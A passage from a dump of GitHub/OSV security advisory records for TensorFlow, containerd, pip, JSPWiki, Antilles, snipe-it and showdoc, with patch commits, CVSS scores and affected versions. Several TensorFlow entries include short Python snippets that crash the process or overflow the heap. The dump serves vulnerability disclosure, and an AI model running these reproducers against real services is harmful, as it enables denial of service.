[{'package': {'ecosystem': 'npm', 'name': 'graphiql'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0.5.0'}, {'fixed': '1.4.7'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/graphql/graphiql/security/advisories/GHSA-x4r7-m2q9-69c8'}, {'type': 'WEB', 'url': 'https://github.com/graphql/graphql-playground/security/advisories/GHSA-59r9-6jp6-jcm7'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-41248'}, {'type': 'WEB', 'url': 'https://github.com/graphql/graphiql/commit/6701b0b626e43800e32413590a295e5c1e3d5419#diff-d45eb76aebcffd27d3a123214487116fa95e0b5a11d70a94a0ce3033ce09f879R110'}, {'type': 'WEB', 'url': 'https://github.com/graphql/graphiql/commit/b9dec272d89d9c590727fd10d62e4a47e0317fc7#diff-855b77f6310b7e4fb1bcac779cd945092ed49fd759f4684ea391b45101166437R87'}, {'type': 'WEB', 'url': 'https://github.com/graphql/graphiql/commit/cb237eeeaf7333c4954c752122261db7520f7bf4'}, {'type': 'PACKAGE', 'url': 'https://github.com/graphql/graphiql'}, {'type': 'WEB', 'url': 'https://github.com/graphql/graphiql/blob/main/docs/security/2021-introspection-schema-xss.md#2-more-details-on-the-vulnerability'}]
|
{'cwe_ids': ['CWE-79'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2021-11-04T18:11:46Z', 'nvd_published_at': '2021-11-04T21:15:00Z'}
|
1.4.0
|
GHSA-5hx2-qx8j-qjqm
|
2021-11-08T22:51:41Z
|
2021-11-10T19:33:24Z
| null |
['CVE-2021-41199']
|
Overflow/crash in `tf.image.resize` when size is large
|
### Impact
If `tf.image.resize` is called with a large input argument then the TensorFlow process will crash due to a `CHECK`-failure caused by an overflow.
```python
import tensorflow as tf
import numpy as np
tf.keras.layers.UpSampling2D(
size=1610637938,
data_format='channels_first',
interpolation='bilinear')(np.ones((5,1,1,1)))
```
The number of elements in the output tensor is too much for the `int64_t` type and the overflow is detected via a `CHECK` statement. This aborts the process.
### Patches
We have patched the issue in GitHub commit [e5272d4204ff5b46136a1ef1204fc00597e21837](https://github.com/tensorflow/tensorflow/commit/e5272d4204ff5b46136a1ef1204fc00597e21837) (merging [#51497](https://github.com/tensorflow/tensorflow/pull/51497)).
The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported externally via a [GitHub issue](https://github.com/tensorflow/tensorflow/issues/46914).
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-5hx2-qx8j-qjqm'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-41199'}, {'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/issues/46914'}, {'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/commit/e5272d4204ff5b46136a1ef1204fc00597e21837'}, {'type': 'PACKAGE', 'url': 'https://github.com/tensorflow/tensorflow'}]
|
{'cwe_ids': ['CWE-190'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2021-11-08T22:51:41Z', 'nvd_published_at': '2021-11-05T20:15:00Z'}
|
1.4.0
|
GHSA-5j5w-g665-5m35
|
2023-03-30T14:50:04Z
|
2021-11-18T16:08:58Z
| null |
[]
|
Ambiguous OCI manifest parsing
|
### Impact
In the OCI Distribution Specification version 1.0.0 and prior and in the OCI Image Specification version 1.0.1 and prior, manifest and index documents are ambiguous without an accompanying Content-Type HTTP header. Versions of containerd prior to 1.4.12 and 1.5.8 treat the Content-Type header as trusted and deserialize the document according to that header. If the Content-Type header changed between pulls of the same ambiguous document (with the same digest), the document may be interpreted differently, meaning that the digest alone is insufficient to unambiguously identify the content of the image.
### Patches
This issue has been fixed in containerd 1.4.12 and 1.5.8. Image pulls for manifests that contain a “manifests” field or indices which contain a “layers” field are rejected.
### Workarounds
Ensure you only pull images from trusted sources.
### References
https://github.com/opencontainers/distribution-spec/security/advisories/GHSA-mc8v-mgrf-8f4m
https://github.com/opencontainers/image-spec/security/advisories/GHSA-77vh-xpmg-72qh
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [containerd](https://github.com/containerd/containerd/issues/new/choose)
* Email us at [security@containerd.io](mailto:security@containerd.io)
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:N/I:L/A:N'}]
|
[{'package': {'ecosystem': 'Go', 'name': 'github.com/containerd/containerd'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.4.12'}]}]}, {'package': {'ecosystem': 'Go', 'name': 'github.com/containerd/containerd'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.5.0'}, {'fixed': '1.5.8'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/containerd/containerd/security/advisories/GHSA-5j5w-g665-5m35'}, {'type': 'WEB', 'url': 'https://github.com/opencontainers/distribution-spec/security/advisories/GHSA-mc8v-mgrf-8f4m'}, {'type': 'WEB', 'url': 'https://github.com/opencontainers/image-spec/security/advisories/GHSA-77vh-xpmg-72qh'}, {'type': 'WEB', 'url': 'https://github.com/containerd/containerd/commit/26c76a3014e71af5ad2f396ec76e0e0ecc8e25a3'}, {'type': 'WEB', 'url': 'https://github.com/containerd/containerd/commit/db00065a969a983ceb0a409833f93f705f284ea4'}, {'type': 'PACKAGE', 'url': 'https://github.com/containerd/containerd'}, {'type': 'WEB', 'url': 'https://github.com/containerd/containerd/releases/tag/v1.4.12'}, {'type': 'WEB', 'url': 'https://github.com/containerd/containerd/releases/tag/v1.5.8'}]
|
{'cwe_ids': ['CWE-843'], 'severity': 'LOW', 'github_reviewed': True, 'github_reviewed_at': '2021-11-18T14:43:45Z', 'nvd_published_at': None}
|
1.4.0
|
GHSA-5crj-c72x-m7gq
|
2021-11-08T22:12:27Z
|
2021-11-10T18:55:11Z
| null |
['CVE-2021-41217']
|
Null pointer exception when `Exit` node is not preceded by `Enter` op
|
### Impact
The [process of building the control flow graph](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/common_runtime/immutable_executor_state.cc#L284-L346) for a TensorFlow model is vulnerable to a null pointer exception when nodes that should be paired are not:
```python
import tensorflow as tf
@tf.function
def func():
return tf.raw_ops.Exit(data=[False,False])
func()
```
This occurs because the code assumes that the first node in the pairing (e.g., an `Enter` node) always exists when encountering the second node (e.g., an `Exit` node):
```cc
...
} else if (IsExit(curr_node)) {
// Exit to the parent frame.
parent = parent_nodes[curr_id];
frame_name = cf_info->frame_names[parent->id()];
...
```
When this is not the case, `parent` is `nullptr` so dereferencing it causes a crash.
### Patches
We have patched the issue in GitHub commit [05cbebd3c6bb8f517a158b0155debb8df79017ff](https://github.com/tensorflow/tensorflow/commit/05cbebd3c6bb8f517a158b0155debb8df79017ff).
The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-5crj-c72x-m7gq'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-41217'}, {'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/commit/05cbebd3c6bb8f517a158b0155debb8df79017ff'}, {'type': 'PACKAGE', 'url': 'https://github.com/tensorflow/tensorflow'}]
|
{'cwe_ids': ['CWE-476'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2021-11-08T22:12:27Z', 'nvd_published_at': '2021-11-05T21:15:00Z'}
|
1.4.0
|
GHSA-5xp3-jfq3-5q8x
|
2021-11-17T21:23:42Z
|
2021-11-15T17:45:01Z
| null |
['CVE-2021-3572']
|
Improper Input Validation in pip
|
A flaw was found in python-pip in the way it handled Unicode separators in git references. A remote attacker could possibly use this issue to install a different revision on a repository. The highest threat from this vulnerability is to data integrity. This is fixed in python-pip version 21.1.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'pip'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '21.1'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-3572'}, {'type': 'WEB', 'url': 'https://github.com/pypa/pip/pull/9827'}, {'type': 'WEB', 'url': 'https://github.com/pypa/pip/commit/e46bdda9711392fec0c45c1175bae6db847cb30b'}, {'type': 'WEB', 'url': 'https://access.redhat.com/errata/RHSA-2021:3254'}, {'type': 'WEB', 'url': 'https://bugzilla.redhat.com/show_bug.cgi?id=1962856'}, {'type': 'PACKAGE', 'url': 'https://github.com/pypa/pip'}, {'type': 'WEB', 'url': 'https://packetstormsecurity.com/files/162712/USN-4961-1.txt'}, {'type': 'WEB', 'url': 'https://www.oracle.com/security-alerts/cpuapr2022.html'}, {'type': 'WEB', 'url': 'https://www.oracle.com/security-alerts/cpujul2022.html'}]
|
{'cwe_ids': ['CWE-20'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2021-11-12T19:41:47Z', 'nvd_published_at': '2021-11-10T18:15:00Z'}
|
1.4.0
|
GHSA-8gw6-w5rw-4g5c
|
2021-11-30T14:44:44Z
|
2021-11-29T17:59:24Z
| null |
['CVE-2021-44140']
|
Incorrect Default Permissions in Apache JSPWiki
|
Remote attackers may delete arbitrary files in a system hosting a JSPWiki instance, versions up to 2.11.0.M8, by using a carefuly crafted http request on logout, given that those files are reachable to the user running the JSPWiki instance. Apache JSPWiki users should upgrade to 2.11.0 or later.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H'}]
|
[{'package': {'ecosystem': 'Maven', 'name': 'org.apache.jspwiki:jspwiki-main'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.11.0'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-44140'}, {'type': 'PACKAGE', 'url': 'https://github.com/apache/jspwiki'}, {'type': 'WEB', 'url': 'https://jspwiki-wiki.apache.org/Wiki.jsp?page=CVE-2021-44140'}, {'type': 'WEB', 'url': 'https://lists.apache.org/thread/5qglpjdhvobppx7j550lf1sk28f6011t'}]
|
{'cwe_ids': ['CWE-276'], 'severity': 'CRITICAL', 'github_reviewed': True, 'github_reviewed_at': '2021-11-25T00:25:46Z', 'nvd_published_at': '2021-11-24T12:15:00Z'}
|
1.4.0
|
GHSA-hgc3-hp6x-wpgx
|
2021-11-17T21:17:29Z
|
2021-11-03T17:36:22Z
| null |
['CVE-2021-3840']
|
Antilles Dependency Confusion Vulnerability
|
### Potential Impact:
Remote code execution.
### Scope of Impact:
Open-source project specific.
### Summary Description:
A dependency confusion vulnerability was reported in the Antilles open-source software prior to version 1.0.1 that could allow for remote code execution during installation due to a package listed in requirements.txt not existing in the public package index (PyPi).
MITRE classifies this weakness as an Uncontrolled Search Path Element (CWE-427) in which a private package dependency may be replaced by an unauthorized package of the same name published to a well-known public repository such as PyPi.
The configuration has been updated to only install components built by Antilles, removing all other public package indexes. Additionally, the antilles-tools dependency has been published to PyPi.
### Mitigation Strategy for Customers (what you should do to protect yourself):
Remove previous versions of Antilles as a precautionary measure and Update to version 1.0.1 or later.
### Acknowledgement:
The Antilles team thanks Kotko Vladyslav for reporting this issue.
### References:
https://github.com/lenovo/Antilles/commit/c7b9c5740908b343aceefe69733d9972e64df0b9
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'antilles-tools'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.0.1'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/lenovo/Antilles/security/advisories/GHSA-hgc3-hp6x-wpgx'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-3840'}, {'type': 'WEB', 'url': 'https://github.com/lenovo/Antilles/commit/c7b9c5740908b343aceefe69733d9972e64df0b9'}, {'type': 'PACKAGE', 'url': 'https://github.com/lenovo/Antilles'}]
|
{'cwe_ids': ['CWE-427'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2021-11-03T15:04:04Z', 'nvd_published_at': '2021-11-12T22:15:00Z'}
|
1.4.0
|
GHSA-c65v-p733-9796
|
2021-11-22T18:39:54Z
|
2021-11-23T18:17:33Z
| null |
['CVE-2021-3961']
|
Cross-site Scripting in snipe/snipe-it
|
snipe-it is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'Packagist', 'name': 'snipe/snipe-it'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '5.3.2'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-3961'}, {'type': 'WEB', 'url': 'https://github.com/snipe/snipe-it/commit/7ce5993f5ae9d713a0955c2fd8e2dff7a7ce886e'}, {'type': 'WEB', 'url': 'https://huntr.dev/bounties/5987aed5-6613-4937-8a3e-d48009b7da10'}]
|
{'cwe_ids': ['CWE-79'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2021-11-22T18:39:54Z', 'nvd_published_at': '2021-11-19T12:15:00Z'}
|
1.4.0
|
GHSA-2p25-55c9-h58q
|
2021-11-08T22:53:02Z
|
2021-11-10T19:33:58Z
| null |
['CVE-2021-41198']
|
Overflow/crash in `tf.tile` when tiling tensor is large
|
### Impact
If `tf.tile` is called with a large input argument then the TensorFlow process will crash due to a `CHECK`-failure caused by an overflow.
```python
import tensorflow as tf
import numpy as np
tf.keras.backend.tile(x=np.ones((1,1,1)), n=[100000000,100000000, 100000000])
```
The number of elements in the output tensor is too much for the `int64_t` type and the overflow is detected via a `CHECK` statement. This aborts the process.
### Patches
We have patched the issue in GitHub commit [9294094df6fea79271778eb7e7ae1bad8b5ef98f](https://github.com/tensorflow/tensorflow/commit/9294094df6fea79271778eb7e7ae1bad8b5ef98f) (merging [#51138](https://github.com/tensorflow/tensorflow/pull/51138)).
The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported externally via a [GitHub issue](https://github.com/tensorflow/tensorflow/issues/46911).
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-2p25-55c9-h58q'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-41198'}, {'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/issues/46911'}, {'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/commit/9294094df6fea79271778eb7e7ae1bad8b5ef98f'}, {'type': 'PACKAGE', 'url': 'https://github.com/tensorflow/tensorflow'}]
|
{'cwe_ids': ['CWE-190'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2021-11-08T22:53:02Z', 'nvd_published_at': '2021-11-05T20:15:00Z'}
|
1.4.0
|
GHSA-pjjf-hc4q-g298
|
2021-11-17T21:11:29Z
|
2021-11-15T23:16:17Z
| null |
['CVE-2021-3775']
|
showdoc is vulnerable to Cross-Site Request Forgery (CSRF)
|
showdoc is vulnerable to Cross-Site Request Forgery (CSRF).
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L'}]
|
[{'package': {'ecosystem': 'Packagist', 'name': 'showdoc/showdoc'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '2.9.12'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-3775'}, {'type': 'WEB', 'url': 'https://github.com/star7th/showdoc/commit/67093c879a6563aa6ee08003177777d1975e2351'}, {'type': 'PACKAGE', 'url': 'https://github.com/star7th/showdoc'}, {'type': 'WEB', 'url': 'https://huntr.dev/bounties/6a59d203-4ca7-4aed-bdb9-1e39b66c77b3'}]
|
{'cwe_ids': ['CWE-352'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2021-11-15T20:26:18Z', 'nvd_published_at': '2021-11-13T10:15:00Z'}
|
1.4.0
|
GHSA-3ff2-r28g-w7h9
|
2021-11-08T22:21:10Z
|
2021-11-10T18:57:19Z
| null |
['CVE-2021-41216']
|
Heap buffer overflow in `Transpose`
|
### Impact
The [shape inference function for `Transpose`](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/ops/array_ops.cc#L121-L185) is vulnerable to a heap buffer overflow:
```python
import tensorflow as tf
@tf.function
def test():
y = tf.raw_ops.Transpose(x=[1,2,3,4],perm=[-10])
return y
test()
```
This occurs whenever `perm` contains negative elements. The shape inference function does not validate that the indices in `perm` are all valid:
```cc
for (int32_t i = 0; i < rank; ++i) {
int64_t in_idx = data[i];
if (in_idx >= rank) {
return errors::InvalidArgument("perm dim ", in_idx,
" is out of range of input rank ", rank);
}
dims[i] = c->Dim(input, in_idx);
}
```
where `Dim(tensor, index)` accepts either a positive index less than the rank of the tensor or the special value `-1` for unknown dimensions.
### Patches
We have patched the issue in GitHub commit [c79ba87153ee343401dbe9d1954d7f79e521eb14](https://github.com/tensorflow/tensorflow/commit/c79ba87153ee343401dbe9d1954d7f79e521eb14).
The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H'}]
|
[{'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-cpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.6.0'}, {'fixed': '2.6.1'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.5.0'}, {'fixed': '2.5.2'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'tensorflow-gpu'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.4.4'}]}]}]
|
[{'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-3ff2-r28g-w7h9'}, {'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-41216'}, {'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/commit/c79ba87153ee343401dbe9d1954d7f79e521eb14'}, {'type': 'PACKAGE', 'url': 'https://github.com/tensorflow/tensorflow'}, {'type': 'WEB', 'url': 'https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/ops/array_ops.cc#L121-L185'}]
|
{'cwe_ids': ['CWE-120', 'CWE-787'], 'severity': 'MODERATE', 'github_reviewed': True, 'github_reviewed_at': '2021-11-08T22:21:10Z', 'nvd_published_at': '2021-11-05T23:15:00Z'}
|
1.4.0
|
GHSA-ff84-84q5-fq4f
|
2021-11-22T19:05:02Z
|
2021-11-23T17:56:54Z
| null |
['CVE-2021-39232']
|
Incorrect Authorization in Apache Ozone
|
In Apache Ozone versions prior to 1.2.0, certain admin related SCM commands can be executed by any authenticated users, not just by admins.
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H'}]
|
[{'package': {'ecosystem': 'Maven', 'name': 'org.apache.ozone:ozone-main'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.2.0'}]}]}]
|
[{'type': 'ADVISORY', 'url': 'https://nvd.nist.gov/vuln/detail/CVE-2021-39232'}, {'type': 'WEB', 'url': 'https://mail-archives.apache.org/mod_mbox/ozone-dev/202111.mbox/%3C3c30a7f2-13a4-345e-6c8a-c23a2b937041%40apache.org%3E'}, {'type': 'WEB', 'url': 'http://www.openwall.com/lists/oss-security/2021/11/19/3'}]
|
{'cwe_ids': ['CWE-863'], 'severity': 'HIGH', 'github_reviewed': True, 'github_reviewed_at': '2021-11-22T19:05:02Z', 'nvd_published_at': '2021-11-19T10:15:00Z'}
|
1.4.0
|
GHSA-m4hj-wg2r-qpcr
|
2021-11-17T21:10:57Z
|
2021-11-15T23:13:34Z
| null |
['CVE-2021-3776']
|
showdoc is vulnerable to Cross-Site Request Forgery (CSRF)
|
showdoc is vulnerable to Cross-Site Request Forgery (CSRF).
|
[{'type': 'CVSS_V3', 'score': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L'}]
|
[{'package': {'ecosystem': 'Packagist', 'name': 'showdoc/showdoc'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.9.13'}]}], 'database_specific': {'last_known_affected_version_range': '<= 2.9.12'}}]
|
